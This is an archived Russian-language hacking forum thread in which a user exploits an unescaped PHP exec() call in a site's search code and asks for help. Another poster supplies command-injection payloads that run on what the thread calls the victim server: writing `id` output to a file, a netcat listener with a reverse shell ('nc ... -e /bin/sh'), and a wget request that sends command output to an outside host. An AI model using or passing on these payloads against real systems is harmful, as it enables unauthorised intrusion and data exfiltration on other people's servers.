PDA

Просмотр полной версии : exec без escapeshellarg


TRUE_GEEK
02.10.2011, 21:29
Недавно ковырял один php код и нашел интересную строку:


exec("grep -i \"$search\" base.dat",$execAr);

при этом перемененная search ни где не фильтруется

я попробовал сначала так:


any search" base.dat; echo "unknown error" > err.log #

но err.log не создался

тогда я попробовал так:


any search" base.dat; echo "категрия|название|single|a45cab8f3 13e7b||0|0||instock|||описание\n" #

но результат не изменился, хотя если echo выполнилось, то моя строчка должна была попасть execAr и вывестись в результатах поиска

подскажите как юзать, а то я линух только на картинках видел

EXITUA🇺🇦
02.10.2011, 23:43
попробуй так


`id>log.txt`

TRUE_GEEK
03.10.2011, 19:42
не так не получилось, попробовал `wget http://httpz.ru/nktvzvbkabw.gif?hello+world`, работает, узнал, что это red hat, как мне теперь id переслать ?

EXITUA🇺🇦
03.10.2011, 21:50
тогда понятно, у тебя нет прав на запись в текущую директорию, ищи диру доступную для запись

либо проще

на своём серваке сделай

nc -n -vv -l -p 9999

на жертве

`nc ip_tvoego_serva 9999 -e /bin/sh`

TRUE_GEEK
03.10.2011, 23:09
Не подойдет

1 Это вызывается из php, а там стоят таймауты

2 У меня нет дедика

TRUE_GEEK
05.10.2011, 18:19
надо вместо в `wget http://httpz.ru/nktvzvbkabw.gif?hello+world` вместо hello world посылать результат выполнения команды

help me people

EXITUA🇺🇦
05.10.2011, 23:43
както так

lol";wget http://httpz.ru/nktvzvbkabw.gif?`id`;echo "

TRUE_GEEK
08.10.2011, 17:16
Пасибки)